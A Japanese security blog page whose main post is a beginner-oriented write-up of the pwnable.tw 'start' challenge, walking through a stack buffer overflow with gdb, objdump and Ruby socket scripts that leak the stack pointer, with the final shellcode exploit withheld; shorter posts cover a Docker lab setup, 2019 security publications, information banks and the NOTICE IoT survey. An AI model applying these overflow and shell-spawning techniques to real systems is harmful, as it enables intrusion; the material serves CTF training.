トリコロールな猫/セキュリティ

セキュリティ情報の備忘録的まとめ。

pwnable.tw startのwrite-up。CTFのバイナリ解析ではまず何をすればいいのかも書いてみました

pwnable.twのスコア100の問題、「start」のwrite-upです。

pwnable.tw

CTF for Girlsのバイナリ解析の講師をやったときに、講義後に実習ということで簡単な問題をやってもらったのですが、まず何をしていいのか分からないという人が結構いて、その辺を説明しなかったことをずっと後悔していたので、だいぶ詳細に解説してみました。問題自体は基本をおさえたシンプルなもので、バイナリ解析の勉強にはとてもいいのではないかと思います。

なお、諸々思い出すためにも、pwn用ツールは使わずゆっくりじっくりやっています。*1

環境

ホストはMacbook AirでOSはmacOS Catalina、検証環境はDockerで作っていて、OSはUbuntu 18.04です。
検証環境はVirtualBoxでも実機でもなんでも構いません。私は母艦のMBAが不安定なのでこれを機にDockerイメージを作ってみました。
security.nekotricolor.com

以降、MBAのコマンドプロンプトは「%」、Ubuntuは「#」です。

まず何をするか

そもそもフラグとは

「CTFとはCapture the Flagのことで、与えられた問題を解いてフラグを取得する競技です」といわれますが、そもそもフラグってなんなのか、私は最初見当がつきませんでした。
結論から言うと、基本的にフラグは文字列です。

例えば:

  • flag.txtに「my lovely willian」と書かれている
  • ポップアップで「The flag is {my lovely willian}」と表示される
  • 画像ファイルに文字列で「The flag is {my lovely willian}」と書かれている

これらの問題のフラグは全て、「my lovely willian」という文字列です。({}が含まれる場合もある)

pwnable.twの場合、トップページに「The flag is usually at /home/xxx/flag」と書かれていますので、通常はログインしたユーザのホームディレクトリにある、「flag」というファイルに書かれている文字列がフラグということになります。

問題に書かれているものをとりあえずやってみる

challenges/のstartをクリックすると、以下のような画面が出ます。
f:id:nekotricolor:20200210143837p:plain

とりあえず書いてあるコマンドを実行してみます。

% nc chall.pwnable.tw 10000
Let's start the CTF:
%

「Let's start the CTF:」という文字列が出て待ち状態になり、リターンを押すと接続が切れます。どうやらここになにか文字列を入れればいいらしい、と予想がつきます。

startファイルをダウンロード

上記の画面から「start」がダウンロードできます。ホストとDockerコンテナで共有しているフォルダに置いて、このファイルをDocker上で調べてみます。

fileコマンド

fileコマンドで、このファイルがなんなのかを確認。

# file start
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

実行ファイルのようです。

stringsコマンド

フラグの文字列がまんま入ってる可能性も無きにしも非ずなので、stringsコマンドで、ファイル内の表示可能な文字列を表示してみます。ファイルサイズが大きいとブワッと出てしまいますが、このファイルは564バイトしかないので安心。

# strings start
hCTF:hthe hart hs sthLet'
start.s
_exit
__bss_start
_edata
_end
.symtab
.strtab
.shstrtab
.text

残念ながらフラグはありませんでしたが、__bss_startとか.textとかでてるので、実行ファイルで確定のようですね。

ファイルを実行

提供されたファイルが何か、で次に何するかを決めます。といってもまだ難しいことをするわけではなく、

  • 実行ファイルなら実行する
  • 画像ファイルならブラウザ等で表示する
  • tcpdumpの結果ならWireshark等で開く

という感じです。

今回は実行ファイルですので、実行してみます。

# ./start
Let's start the CTF:

最初にncコマンドで接続したときと同じ文字列が出て待ち状態になります。つまり、chall.pwnable.twの10000番ポートに接続するとこのstartが実行されるのでしょう。

文字列が入力できるときは、とりあえず大量に「a」を入力してみます。

# ./start
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)

異常終了しました。
「たくさん文字を入れると異常終了する」ということが分かりました。

Exploit

ここから難しくなってきます。デバッグの方法やレジスタ・スタック等の基本については、手前味噌な上に未完ですが、こちらを参照していただければ幸いです。gdbではなくOllyDbgというWindowsのGUIのツールを使って説明しています。こちらの方がアセンブリコードやレジスタなどの仕組みそのものを知るには分かりやすいと思います。

security.nekotricolor.com

gdb上で実行する

すぐにファイルをdumpしてアセンブリコードを読んでもいいのですが、せっかく異常終了したので先にgdb上で実行して大量の文字列を入力してみます。

# gdb -q start
Reading symbols from start...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/share/start
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()

あらやだいきなりeipが書き換わってる。バッファオーバーフローですね。
どこの部分がeipになっているか、古典的方法で確認します。

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/share/start 
Let's start the CTF:1234567890abcdefghijklmnopqrstuvwxyz!-#$%&'()=~|`{+*}<>?_

Program received signal SIGSEGV, Segmentation fault.
0x6e6d6c6b in ?? ()

0x6e6d6c6bということは、「nmlk」の部分、21文字目からの4バイトですね。(リトルエンディアンなので、表示が逆になっています)

objdumpによる逆アセンブル

startが何をやっているかは、objdumpコマンドで見ることができます。長いとここで挫折しますが、startはとても短いので読む気になります。読みやすくするよう行番号を付けました。

# objdump -D start
start:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
[01] 8048060:	54                   	push   %esp
[02] 8048061:	68 9d 80 04 08       	push   $0x804809d
[03] 8048066:	31 c0                	xor    %eax,%eax
[04] 8048068:	31 db                	xor    %ebx,%ebx
[05] 804806a:	31 c9                	xor    %ecx,%ecx
[06] 804806c:	31 d2                	xor    %edx,%edx
[07] 804806e:	68 43 54 46 3a       	push   $0x3a465443
[08] 8048073:	68 74 68 65 20       	push   $0x20656874
[09] 8048078:	68 61 72 74 20       	push   $0x20747261
[10] 804807d:	68 73 20 73 74       	push   $0x74732073
[11] 8048082:	68 4c 65 74 27       	push   $0x2774654c
[12] 8048087:	89 e1                	mov    %esp,%ecx
[13] 8048089:	b2 14                	mov    $0x14,%dl
[14] 804808b:	b3 01                	mov    $0x1,%bl
[15] 804808d:	b0 04                	mov    $0x4,%al
[16] 804808f:	cd 80                	int    $0x80
[17] 8048091:	31 db                	xor    %ebx,%ebx
[18] 8048093:	b2 3c                	mov    $0x3c,%dl
[19] 8048095:	b0 03                	mov    $0x3,%al
[20] 8048097:	cd 80                	int    $0x80
[21] 8048099:	83 c4 14             	add    $0x14,%esp
[22] 804809c:	c3                   	ret    

0804809d <_exit>:
 804809d:	5c                   	pop    %esp
 804809e:	31 c0                	xor    %eax,%eax
 80480a0:	40                   	inc    %eax
 80480a1:	cd 80                	int    $0x80

逆アセンブルした結果を読む

_start関数を読んでいきます。_exit関数は単にexitするだけみたいなので割愛。

01行目:この時点でのespの値をスタックに格納。
02行目:_exitの先頭アドレスを格納。
03〜06行目:eax、ebx、ecx、edxを0x00に。
07〜11行目:「Let's start the CTF:」という文字列をスタックに格納
12行目:この時点でのespの値をecxに格納
13行目:edxに0x14を格納
14行目:ebxに0x01を格納
15行目:eaxに0x04を格納
16行目:call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に(ebxが
0x01)、ecx(12行目によりespと同値)を先頭アドレスとした文字列を、20バイト(edxが0x14=20)write(eaxが0x04)する。つまり、標準出力に「Let's start CTF:」をwriteする。
17行目:ebxを0x00に。
18行目:edxに0x3cを格納。
19行目:eaxに0x03を格納。
20行目:call命令を実行。ここでは、標準入力から(ebxが0x00)、60バイト(edxが0x3c=60)read(eaxが0x03)するという意味。
21行目:espに0x14を加える。
22行目:retする。

ということでstartは「Let's start CTF:」と表示し、標準入力から60バイト読み込み、終了している、ということが分かります。たいしたことはやっていません。

バッファオーバーフローはどこで起こるのか

スタックの状態を図にすると以下のようになります。

f:id:nekotricolor:20200210165823p:plain

20バイト分しか書き込める場所がないのに、read()で60バイト読み込んでいるところが脆弱性です。read()した瞬間、緑色の部分が標準入力された文字列に書き換わります。入力が20バイト以内なら何も起きませんが、20バイト以上になると22行目でretしたときにジャンプする先のアドレス(0x0804809d、つまり_exit関数の先頭アドレス)が書き換わってしまいます。「aaaa...」と入力すると、上図一番右の「????」の部分も「aaaa」と書き換わってしまい、retするとeipが0x61616161になってしまうので、Segmentation faultしてしまうというわけです。

以下、eipが書き換わる瞬間を捉えたgdbです。

# gdb -q ./start
Reading symbols from ./start...(no debugging symbols found)...done.
(gdb) b _start
Breakpoint 1 at 0x8048060
(gdb) r
Starting program: /root/share/start

Breakpoint 1, 0x08048060 in _start ()
(gdb) disas
Dump of assembler code for function _start:
=> 0x08048060 <+0>:	push   %esp
   0x08048061 <+1>:	push   $0x804809d
   0x08048066 <+6>:	xor    %eax,%eax
   0x08048068 <+8>:	xor    %ebx,%ebx
   0x0804806a <+10>:	xor    %ecx,%ecx
   0x0804806c <+12>:	xor    %edx,%edx
   0x0804806e <+14>:	push   $0x3a465443
   0x08048073 <+19>:	push   $0x20656874
   0x08048078 <+24>:	push   $0x20747261
   0x0804807d <+29>:	push   $0x74732073
   0x08048082 <+34>:	push   $0x2774654c
   0x08048087 <+39>:	mov    %esp,%ecx
   0x08048089 <+41>:	mov    $0x14,%dl
   0x0804808b <+43>:	mov    $0x1,%bl
   0x0804808d <+45>:	mov    $0x4,%al
   0x0804808f <+47>:	int    $0x80
   0x08048091 <+49>:	xor    %ebx,%ebx
   0x08048093 <+51>:	mov    $0x3c,%dl
   0x08048095 <+53>:	mov    $0x3,%al
   0x08048097 <+55>:	int    $0x80
   0x08048099 <+57>:	add    $0x14,%esp
   0x0804809c <+60>:	ret    
End of assembler dump.
(gdb) b *0x0804809c
Breakpoint 2 at 0x804809c
(gdb) c
Continuing.
Let's start the CTF:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 2, 0x0804809c in _start ()
(gdb) i r
eax            0x2b	43
ecx            0xffffd724	-10460
edx            0x3c	60
ebx            0x0	0
esp            0xffffd738	0xffffd738
ebp            0x0	0x0
esi            0x0	0
edi            0x0	0
eip            0x804809c	0x804809c <_start+60>
eflags         0x282	[ SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x0	0
(gdb) x/10x $esp
0xffffd738:	0x61616161	0x61616161	0x61616161	0x61616161
0xffffd748:	0x61616161	0xff0a6161	0xffffd896	0xffffd8ac
0xffffd758:	0xffffd8b4	0xffffd8c4
(gdb) si
0x61616161 in ?? ()
(gdb) i r
eax            0x2b	43
ecx            0xffffd724	-10460
edx            0x3c	60
ebx            0x0	0
esp            0xffffd73c	0xffffd73c
ebp            0x0	0x0
esi            0x0	0
edi            0x0	0
eip            0x61616161	0x61616161
eflags         0x282	[ SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x0	0

シェルコードを書く

シェルコードと一言で言ってもいろいろなものがあるわけですが、今回は最もシンプルな、/bin/shを起動するものを使います。/bin/shを起動することで、以降任意のコマンドが実行できます。

/bin/shを起動するには、以下のシステムコールを実行します。

execve("/bin/sh", ["/bin/sh", 0], [0]);

execve()のシステムコールの番号は0x11、つまりeaxを0x11としてint 80すれば良い。引数の"/bin/sh"はスタックに入れてそこのアドレスをebxに・・・書くのが面倒なので以下のサイトを参考にさせていただきました。ただし、コードを短くするためにecxとedxに0x00をmovしているところはxorに変えました。

book.mynavi.jp

シェルコードの先頭アドレスはどこか

startをexploitして任意のコマンドを実行できるようにするためには、

  • 任意の文字列 * 20
  • シェルコードの先頭アドレス
  • /bin/shを起動するシェルコード

をひとまとめにした文字列を、「Let's start CTF:」と表示された後に書き込めば良い、ということになります。
図にするとこういう感じです。

f:id:nekotricolor:20200213162327j:plain:w180

では、シェルコードの先頭アドレスとはどこなのか?

ここは結構考えさせられました。Ubuntuでは、アドレス空間配置のランダム化、ASLRがデフォルトで有効になっています。つまり、スタック領域の配置が、startが実行されるごとに大きく変わってしまうため、スタック領域に書き込んだシェルコードの先頭アドレスがどこなのか、事前には分かりません。

ということで、_start関数を実行中に、スタック領域のアドレス、espなりebpなりを取ってこなければなりません。

そこで注目したのは、_start関数の01行目、なぜかespをpushしているんですよね。
普通、関数が始まる時というのはebpをpushするものなのになんでだろう?と思ったのですが、これとwrite()を組み合わせることで、標準出力にespを表示させることができるのです!

どういうことかというと:
たとえば、20個の「a」を入力した場合、retが実行された時点でのスタックの状態は以下のようになります。

f:id:nekotricolor:20200213143043p:plain

retはpopしてスタックから値を取り出し、その値にjmpする命令です。つまりretが実行されると(popにより)espが4バイト下がって、start開始時のespが入っているところを指します。

f:id:nekotricolor:20200213143101p:plain

ここで思い出すのはアセンブリコードの16行目。

16行目:call命令を実行。何をどう実行するかはレジスタの値で決まる。ここでは、標準出力に(ebxが0x01)、ecx(12行目によりespと同値)を先頭アドレスとした文字列を、20バイト分(edxが0x14=20)write(eaxが0x04)する。

ちょっと分かりづらいんですが、上図のように、espが、start開始時のespが入っているところを指しているときに12行目〜16行目を実行すれば、start開始時のespがwrite()されることになります。

つまり。最初に、

[任意の文字列] * 20バイト + 12行目のアドレス(0x08048087)

を与え、0x08048087にjmpさせてstart開始時のespをwrite()で標準出力に表示させ、それをもとにシェルコードの先頭アドレスを求めて、続けて

[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコード

を与えれば、シェルコードが実行されるはずです。

Capture the Flag

さて、いよいよリモートホスト上で実行されるstartに前述の文字列を与えていくわけですが、ここからはexploitとはまた少し違う問題があります。標準入力の特定の部分に、アドレスやシェルコードをどうやって書くか。これも初めてやるとき戸惑いませんでした?人の手では書くことはできませんよね。「b80b0000・・」とか手で入力しても文字として認識されるだけですので。

そこで、バイナリを含む文字列を送信するようなスクリプトを書くことになります。

10000番ポートに接続し、文字列を送信するスクリプト

今回の問題では、リモートホストの10000番ポートに接続して、「Let's start CTF:」という文字列が表示された後に、前述したアドレスやシェルコードを含む文字列を送信する必要があります。そういうスクリプトをRubyで書きます。Pythonの方が書きやすいと思いますしCでもPerlでもなんでもOKです。

まずはDocker環境の中で、自身の10000番ポートに接続して文字列を入力するRubyスクリプトを書いてみました。*2

# encoding: ASCII-8BIT
require 'socket'

HOSTNAME = "localhost"
#HOSTNAME = "chall.pwnable.tw"
PORTNUM = 10000

s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME)
s.connect(sockaddr)

print(">> ", s.recvfrom(4096)[0], "\n")

print("<< aaaaaaaaaaaa\n")
s.write("aaaaaaaaaaaa")

print(">> ", s.recvfrom(4096)[0], "\n")

これを実行すると、ローカルホストの10000番ポートに接続し、返答を受け取り、「aaaaaaaaaaaa」という文字列を送信し、返答を受け取る、ことができます。
リモートホストからの返信には「>>」を、こちらからの送信には「<<」を先頭につけています。このRubyスクリプトを実行すると以下のような結果になります。

 # ruby socket_test.rb 
 >> Let's start the CTF:
 << aaaaaaaaaaaa
 >> 

espを取得してみる

start開始時のespを取得するには、[任意の文字列] * 20バイト + 12行目のアドレス(0x08048087)を送信します。受信した最初の4バイトがstart開始時のespです。packとかunpackとかほんとハマったんですけど、そこは本筋と関係ないので割愛します。

# encoding: ASCII-8BIT
require 'socket'

HOSTNAME = "localhost"
#HOSTNAME = "chall.pwnable.tw"
PORTNUM = 10000

ret_addr_arry = []
addr_for_esp = "\x87\x80\x04\x08"

s = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)
sockaddr = Socket.sockaddr_in(PORTNUM, HOSTNAME)
s.connect(sockaddr)

print(">> ", s.recvfrom(4096)[0], "\n")

payload = "a" * 20
payload = payload + addr_for_esp
s.write(payload)

esp = s.recvfrom(4)[0].unpack("I*")[0]
print(">> ", esp.to_s(16), "\n")

これを実行してみると、今回のstart開始時のespは0xffb94ca0であることがわかります。

 # ruby get_esp.rb 
 >> Let's start the CTF:
 >> esp: ffb94ca0

任意のコマンドを実行できるようにする

上記スクリプトの後ろに、[任意の文字列] * 20バイト + シェルコードの先頭アドレス + シェルコードという文字列を作って送信するスクリプトを追加します。
スクリプトはずばり答えになっちゃうので載せませんが(pwnable.twのwrite-upにあります。クリアした人のみ読めるページです)、これで、任意のコマンドが実行できるようになりました。idコマンドとuname -aコマンドを実行した結果を書いておきます。

# ruby 100start_exploit.rb 
 >> Let's start the CTF:
 >> esp: ffacb510
 << Sending shellcode....
 >> ????????
 << id
 >> uid=0(root) gid=0(root) groups=0(root)

 << uname -a
 >> Linux a3b4df01deae 4.19.76-linuxkit #1 SMP Thu Oct 17 19:31:58 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

(おまけ)プロセスにアタッチしてみる

スクリプトの途中にsleep()を入れ、別のターミナルでgdbでプロセスにアタッチすると、start実行途中のレジスタやスタックの状態がどうなっているか見られます。自分の想定している通りの文字列が送信されているか、シェルコードの先頭アドレスは正しいか、など確認することができます。

# ps -aef
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 02:12 pts/0    00:00:00 /bin/bash
root       166     0  0 02:13 pts/2    00:00:00 bash
root       340     0  0 02:16 pts/1    00:00:00 bash
root       968     1  0 02:48 pts/0    00:00:00 /bin/sh start.sh
root      1217   968  0 02:55 pts/0    00:00:00 start
root      1218   340  2 02:56 pts/1    00:00:00 ruby 100start_exploit.rb
root      1246   166  0 02:56 pts/2    00:00:00 ps -aef

startのプロセス番号は「1217」ですね。gdbでプロセスにアタッチするには、-p [プロセス番号]をつけます。

# gdb -q -p 1217
Attaching to process 1217
Reading symbols from /root/share/start...(no debugging symbols found)...done.
0x08048099 in _start ()
(gdb) disas
Dump of assembler code for function _start:
   0x08048060 <+0>:	push   %esp
   0x08048061 <+1>:	push   $0x804809d
   0x08048066 <+6>:	xor    %eax,%eax
   0x08048068 <+8>:	xor    %ebx,%ebx
   0x0804806a <+10>:	xor    %ecx,%ecx
   0x0804806c <+12>:	xor    %edx,%edx
   0x0804806e <+14>:	push   $0x3a465443
   0x08048073 <+19>:	push   $0x20656874
   0x08048078 <+24>:	push   $0x20747261
   0x0804807d <+29>:	push   $0x74732073
   0x08048082 <+34>:	push   $0x2774654c
   0x08048087 <+39>:	mov    %esp,%ecx
   0x08048089 <+41>:	mov    $0x14,%dl
   0x0804808b <+43>:	mov    $0x1,%bl
   0x0804808d <+45>:	mov    $0x4,%al
   0x0804808f <+47>:	int    $0x80
   0x08048091 <+49>:	xor    %ebx,%ebx
   0x08048093 <+51>:	mov    $0x3c,%dl
   0x08048095 <+53>:	mov    $0x3,%al
   0x08048097 <+55>:	int    $0x80
=> 0x08048099 <+57>:	add    $0x14,%esp
   0x0804809c <+60>:	ret    
End of assembler dump.
(gdb) b *0x08048087
Breakpoint 1 at 0x8048087
(gdb) c
Continuing.

Breakpoint 1, 0x08048087 in _start ()

フラグをゲット

接続先をlocalhostからターゲットホストに変更して実行すれば、ターゲットホスト上で任意のコマンドが実行可能になります。フラグのファイルを探し、catコマンドなり何なりで中を見ればフラグが書いてあります。

感想

「あれ・・ステップ実行って"s"じゃなかったっけ・・あああ"si"いいいいいい」「こういうときってどーすんだっけ・・・はっアタッチ・・sleepしてアタッチや!」「あれっなんか想定とシェルコードが違う・・リトルエンディアンでしたあああああ」とか大変楽しくリハビリできました。私がexploitコードを本気で書いていたのは20年近く前ですが、今回の問題はその頃の知識をそのまま使えた上に、ASLRというちょっとしたエッセンスが追加されていて(当時はなかった)、リハビリにはぴったりなものでした。eipが0x61616161とか0x90909090(パディングによく使われるNOP)とかに書き換わったときにYES!ってなる感じ、久々に味わったなー。当時はgdb+PerlとかVisual Studio+VCで頑張ってたんですよねー。SPARCは固定長命令とビッグエンディアンで分かりやすくて美しかったなぁ・・。

懐古ついでにこちらも紹介。ハッカーの古典、Aleph Oneによる「Smashing The Stack For Fun And Profit」。今回のスタックベースのバッファオーバーフローの仕組みについて丁寧に解説されています。
素晴らしい日本語訳が、「趣味と実益のスタック破壊」として公開されています。(残念ながらもうアーカイブしか残っていないようです)

にしても、当時はリモートでもローカルでも自社内に実機で環境を作ってやっていたので、シェルコードを含むパケットをインターネット越しに投げたのはたぶん生まれて初めてなんじゃないかと・・。いやもちろんそのためのサイトなのでなんの問題もないのですが、ちょっと緊張しました。

今回は心赴くままにガッツリと検証してあれこれ試しましたが、次回以降はpwn用のツールもいろいろと使ってみようと思います。

関連記事

調子に乗って次の問題「orw」のwrite-upも書きました。
security.nekotricolor.com

*1:でもさすがにgdb-pedaくらいは使った方がいいかも

*2:いきなりpwnable.twのターゲットホストに接続してもいいのですが、インターネット上にmalっぽいパケットを投げまくるのに躊躇いがあり。

pwnable.tw攻略のためのDockerイメージ作り

pwnable.twの「start」をやってみたんですよ。

security.nekotricolor.com

母艦であるMBAが不安定でいつまたmacOSを再インストールすることになるか分からないので、以下のサイトを参考にDockerでイメージを作っておくことにしました。

github.com

Dockerfile

gdbやfileコマンド、vimなどの基本的なツールのほか、exploitコードを書くための環境もインストール。セキュリティといえばPythonですが、私はRubyistなのでRuby環境です。こちらを参考にさせていただきました。

qiita.com

Dockerfile.startという名前で以下を作成します。

FROM ubuntu:18.04
RUN apt-get update && apt-get upgrade -y

# basic tools
RUN apt-get install -y \
    git \
    gdb \
    file \
    vim \
    netcat

# dev tools
RUN apt-get install -y \
    build-essential \
    libssl-dev \
    libreadline-dev \
    zlib1g-dev \
    curl \
    wget

# Ruby
ENV RUBY_VERSION 2.7.0

# Install rbenv
RUN git clone https://github.com/rbenv/rbenv.git ~/.rbenv && \
    echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bashrc && \
    echo 'eval "$(rbenv init -)"' >> ~/.bashrc

ENV PATH /root/.rbenv/shims:/root/.rbenv/bin:$PATH

# Install ruby-build & ruby
RUN git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build && \
    ~/.rbenv/bin/rbenv install $RUBY_VERSION && \
    ~/.rbenv/bin/rbenv global $RUBY_VERSION

# Initiarize ruby encording
ENV RUBYOPT -EUTF-8

# Install bundler
RUN ~/.rbenv/bin/rbenv exec gem install bundler -v 2.0

イメージを作成する

pwnabletwという名前で、タグを「start」としました。

% docker build -f Dockerfile.start -t pwnabletw:start .

startを実行するシェルスクリプトを作成する

ホストOS上のどこか(ここでは/Users/nekotricolor/share)に、start.shとして以下のシェルスクリプトを作成します。
/root/share/startは問題のバイナリファイルです。

while true; do
nc -l -p 10000 -e /root/share/start;
done

Dockerコンテナを実行する

プロセスにアタッチできるようにするオプションをつけ、/Users/nekotricolor/shareを/root/shareにマウントしつつ、コンテナを実行します。

% docker run --rm -it --cap-add=SYS_PTRACE --name pwnabletw -v /Users/nekotricolor/share:/root/share --security-opt seccomp=unconfined pwnabletw:start
root@d84a9d6a6d47:/# 

コンテナ上でstartを実行するシェルスクリプトを実行する

/Users/nekotricolor/shareを/root/shareにマウントしたので、先ほど作ったstart.shはコンテナ上でも使えるようになっています。これを実行すると、10000番ポートがListen状態になり、接続するとstartが実行されます。

root@d84a9d6a6d47:/# /bin/sh /root/share/start.sh

コンテナに入り、10000番ポートに接続してみる

ホストOSの別のターミナルからコンテナ内に入ります。上記のroot@以下がコンテナのIDです。

% docker exec -it d84a9d6a6d47 bash

ncコマンドで10000番ポートに接続してみます。

root@d84a9d6a6d47:/# nc localhost 10000
Let's start the CTF:

これで、問題を解く環境が整いました。

2019年に公開されたセキュリティ関連文書まとめ

リアルタイムには情報を追っておらず、お知らせ一覧等から調べているため抜けがあるかもしれません。

ルールは以下。

  • 公共性の高いものを載せています
  • WGや研究会の純粋な活動報告書、個別のインシデント・脆弱性は載せていません

情報源はこの辺。

security.nekotricolor.com

政府機関

総務省

文書タイトル 公開日
IoT国際競争力指標(2017年実績) 2019/02/19
不正アクセス行為の発生状況(平成30年1月1日から同年12月31日) 2019/03/22
株式会社日本レジストリサービスに対する「.jp」ドメイン名の管理・運用に係る措置(要請) 2019/04/26
IPネットワーク設備委員会第二次報告 2019/04/26
電気通信事業法に基づく端末機器の基準認証に関するガイドライン(第1版) 2019/04/22
地域IoT実装のための計画策定のポイント~7地方公共団体の軌跡をヒントに~ 2019/04/19
「ICTグローバル戦略」の公表 2019/05/31
IoTセキュリティ総合対策 プログレスレポート2019 2019/05/31
電気通信事業法の消費者保護ルールに関するガイドライン 2019/05/17
脆弱なIoT機器及びマルウェアに感染しているIoT機器の利用者への注意喚起の実施状況 2019/06/28
サイバーセキュリティ対策情報開示の手引き 2019/06/28
サイバーセキュリティ人材育成分科会 第1次取りまとめ 2019/06/14
令和元年版情報通信白書 2019/07/09
IoT・5Gセキュリティ総合対策 2019/08/30
トラストサービス検討ワーキンググループ 中間取りまとめ 2019/08/09
AIネットワーク社会推進会議報告書2019 2019/08/09
脆弱なIoT機器及びマルウェアに感染しているIoT機器の利用者への注意喚起の実施状況(2019年度第2四半期 2019/10/25

セキュリティ関連団体

IPA

文書タイトル 公開日
情報セキュリティ10大脅威 2019 2019/04/17
IT人材白書2019 *1 2019/05/10
デジタル・トランスフォーメーション推進人材の 機能と役割のあり方に関する調査 2019/05/17
情報セキュリティ早期警戒パートナーシップガイドライン 2019/05/30
第12回地方自治体における情報システム基盤の現状と方向性の調査 2019/05/31
「情報処理安全確保支援士(登録セキスペ)の活動に関する実態調査」調査報告書 2019/07/31
制御システム関連のサイバーインシデント事例「2015年 ウクライナ 大規模停電」 2019/07/31
制御システム関連のサイバーインシデント事例「2016年 ウクライナ マルウェアによる停電」 2019/07/31
制御システム関連のサイバーインシデント事例「2017年 安全計装システムを標的とするマルウェア」 2019/07/31
情報セキュリティ白書2019 2019/08/08
ユーザのための要件定義ガイド 第2版 *2 2019/09/12
「多要素認証」設定手順書(Apple ID、Google アカウント、Microsoft アカウント、Yahoo! JAPAN ID) 2019/09/17
情報システムの障害状況 2019年前半データ 2019/09/20
米国発のセキュリティマネジメント成熟度の評価モデル「ES-C2M2」の解説書およびチェックシート 2019/10/21
DX推進指標 自己診断結果入力サイト 2019/10/25
組込みソフトウェア開発データ白書2019 *3 2019/11/19
インターネット安全教室 教材 *4 2019/11/28

JPCERT/CC

文書タイトル 公開日
IoTセキュリティチェックリスト 2019/06/27
PSIRT Services Framework Version 1.0 日本語版 2019/11/07

その他

文書タイトル 公開日 公開組織
2018年 違法・有害情報対策活動報告 2019/07/31 セーファーインターネット協会
サイバーリスクハンドブック/取締役向けハンドブック 日本版 2019/11/01 経団連
証拠保全ガイドライン第8版 2019/12/09 デジタル・フォレンジック研究会
「教育の情報化に関する手引」(令和元年12月)について 2019/12 文部科学省

*1:アンケートに答えればPDF版を入手可能

*2:アンケートに答えればPDF版を入手可能

*3:アンケートに答えればPDF版を入手可能

*4:アンケートに答えれば入手可能

情報銀行ビジネスに関するメモ

今後セキュリティ的にもなにかと話題になりそうなのでメモ。

といってもまだ始まったばかりで、「始まります」って程度の情報しかないです。

情報銀行とは

行動履歴や購買履歴といったものを含む個人情報にひも付いたITデータを個人から預託され、他の事業者とのマッチングや匿名化したうえでの情報提供、一元管理する制度、あるいは事業者を指す。データを提供したり活用したことに関して得られた便益は、データを受領した他の事業者から直接的または間接的に個人情報を提供した本人に還元される。

情報銀行 - Wikipediaより

日本では、「日本IT団体連盟」が認定証を発行している模様。
www.tpdms.jp

国内最初の認定は2019年6月。
www.itmedia.co.jp

すでに2回の認定が行われている。

認定第二弾

www.itrenmei.jp
www.watch.impress.co.jp

これまでの認定事業一覧。ここを見ればいいね。
www.tpdms.jp

認定を受けた企業

三井住友信託銀行

IT連による、認定を受けた事業サービスの内容:「データ信託」サービス(仮称)

三井住友信託銀行の公式サイトでは関連情報を見つけられず。

フェリカポケットマーケティング(イオン子会社)

IT連による、認定を受けた事業サービスの内容:地域振興プラットフォーム(仮称)

公式サイトでの発表:一般社団法人 日本 IT 団体連盟による「情報銀行」認定について

J.Score(みずほ銀行とソフトバンクが共同出資)

IT連による、認定を受けた事業サービスの内容:情報提供サービス(仮称)

公式サイトでの発表。
www.jscore.co.jp

これも続報があったらまた書きます。

総務省とNICTによる大規模なIoT機器調査と注意喚起「NOTICE」その後

2019年2月から実施されている、総務省と国立研究開発法人情報通信研究機構 (以下 NICT) による大規模なIoT機器調査と注意喚起「NOTICE」について以前書いたのですが、その後どうなったかを追いました。

security.nekotricolor.com

まずは、総務省とNICTが公開しているNOTICEに関する情報を集めてみる。

notice.go.jp

www.soumu.go.jp

www.soumu.go.jp

こんだけ!

総務省Webサイトの実施状況の部分を抜粋してみました。

2019年6月28日発表分

参加インターネットプロバイダ:33社
・調査対象IPアドレス:約9,000万
・取組結果
NOTICEの取組結果
・調査対象となったIPアドレスのうち、ID・パスワードが入力可能であったもの
 → 約31,000~約42,000件
・ 上記の内、ID・パスワードによりログインでき、注意喚起の対象となったもの 
 → 延べ147件
マルウェアに感染しているIoT機器の利用者への注意喚起の取組結果
・ISPに対する通知の対象となったもの
 → 1回当たり112件~155件

2019年10月25日発表分

(括弧内は2019年度の第1四半期までの実施状況)

・参加ISP:34社(33社)
・調査対象IPアドレス:約1.0億アドレス(約0.9億アドレス)
・取組結果
 <NOTICEの取組結果>
  (1)調査対象となったIPアドレスのうち、ID・パスワードが入力可能であったもの
   → 直近での調査において約98,000件(約42,000件)
  (2)上記の内、ID・パスワードによりログインでき、注意喚起の対象となったもの
   → 延べ505件(延べ147件)
 <マルウェアに感染しているIoT機器の利用者への注意喚起の取組結果>
  (3)ISPに対する通知の対象となったもの
   → 1日当たり80~559件(1日当たり112件~155件)

えーこんだけー?もっとさー、ログイン可能なサービスがなんだったかとかー(WebかSSHだとは思うのだけど)、どのパスワードがどのくらい使われてるかとかー、バナー情報の統計とかー、いろいろあんじゃーん。まあ注意喚起が目的なので公開の必要はないのかもしれないけど、せっかくの大規模調査なんだから諸々データを公開して欲しいなあ。合意を取るのが大変なのかな・・。

